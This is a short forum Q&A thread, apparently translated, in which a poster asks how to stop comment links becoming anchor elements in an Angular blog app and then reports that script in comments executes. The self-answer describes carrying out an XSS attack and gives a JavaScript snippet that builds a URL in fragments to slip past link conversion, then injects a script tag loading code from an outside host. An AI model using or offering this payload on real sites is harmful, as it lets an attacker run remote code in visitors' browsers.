B
B
Bruto2021-01-22 01:01:59
JavaScript
Bruto, 2021-01-22 01:01:59

All links entered in comments are converted into an element. How to leave as text?

There is an application that runs on angular. Something like a blog. If you enter <script>some code in the comment, then it is executed. But if you enter some kind of link, like google.com, it will turn into <a href="http://google.com">google.com</a>. How to leave everything as text?

Answer the question

In order to leave comments, you need to log in

1 answer(s)
B
Bruto, 2021-01-22
@BruTO8000

Daniil , Successfully carried out an XSS attack)
The fact is that only when loading the text is checked, and the links turn into elements. Yes, and only in the redistribution of 1 div. I just created a variable, where I put the link in parts.

setTimeout(function(){   
     var my_awesome_script = document.createElement('script');
let a = "";
a = "http" + ":" + "//" +"somesite."+ "ru"+"/someURN";
my_awesome_script.setAttribute('src',a);
document.head.appendChild(my_awesome_script);}, 2000)

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question